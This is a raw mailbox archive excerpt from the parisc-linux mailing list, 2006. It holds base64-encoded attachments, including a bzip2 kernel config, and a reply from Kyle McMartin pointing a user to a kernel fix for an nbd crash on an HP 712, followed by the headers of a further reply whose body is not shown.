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
--------------050809080604040400070904
Content-Type: application/x-bzip2;
 name="config.bz2"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="config.bz2"

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
AQkV3KMGhkkRdd43YL6NBv8XckU4UJCh7Y56
--------------050809080604040400070904
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------050809080604040400070904--




From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug report: 2.6.15 crash when accessing nbd on a
	712.
Date: Thu, 9 Mar 2006 10:47:50 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20060309154750.GA11249@quicksilver.road.mcmartin.ca>
References: <440CB949.7040706@free.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624013 18479 80.91.229.3 (22 Nov 2014 02:40:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vincent.stehle@free.fr
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Mar 2006 15:48:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx060) with SMTP; 09 Mar 2006 16:48:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E8477D6A5;
	Thu,  9 Mar 2006 08:48:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09906-03; Thu, 9 Mar 2006 08:48:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 37F687D6A2;
	Thu,  9 Mar 2006 08:48:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A50F97D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Mar 2006 08:48:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09614-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Mar 2006 08:48:33 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 0187C7D682
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Mar 2006 08:48:33 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 001F023E87;
	Thu,  9 Mar 2006 10:48:00 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29108-08; Thu, 9 Mar 2006 10:48:00 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca (quicksilver.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id BA75A23E86;
	Thu,  9 Mar 2006 10:48:00 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 9D8E53B060; Thu,  9 Mar 2006 10:47:50 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <440CB949.7040706@free.fr>
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DStiZMkDeSEkTr6WZHQhaXN1IGRvb4AL
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23443

On Mon, Mar 06, 2006 at 11:35:53PM +0100, Vincent Stehl? wrote:
> I tried to have nbd in module or not, but this does not change anything.
>

Grant and I fixed this a couple weeks ago:
http://cvs.parisc-linux.org/linux-2.6/arch/parisc/mm/init.c?r1=1.22&r2=1.23

Please try a newer kernel, such as this one:
http://cvs.parisc-linux.org/download/linux-2.6/autobuild/712_defconfig/palinux-712-defconfig-2.6.15-pa4_0-2_all.deb

Cheers,
	Kyle 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bug report: 2.6.15 crash when accessing nbd on a
	712.
Date: Thu, 9 Mar 2006 10:48:41 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20060309174841.GA26062@colo.lackof.org>
References: <440CB949.7040706@free.fr>
	<20060309154750.GA11249@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624014 18481 80.91.229.3 (22 Nov 2014 02:40:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Mar 2006 17:38:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 09 Mar 2006 18:38:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DCB1F7D6B0;
	Thu,  9 Mar 2006 10:38:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10900-04; Thu, 9 Mar 2006 10:38:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96F4D7D6A9;
	Thu,  9 Mar 2006 10:38:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8497E7D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Mar 2006 10:38:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10900-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Mar 2006 10:38:03 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id DC9F97D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Mar 2006 10:38:03 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F0A2336003C;
	Thu,  9 Mar 2006 10:48:42 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25732-05; Thu, 9 Mar 2006 10:48:41 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7872136001E; Thu,  9 Mar 2006 10:48:41 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060309154750.GA11249@quicksilver.road.mcmartin.ca>
X-Home-Page: http://www.parisc-linux.org/
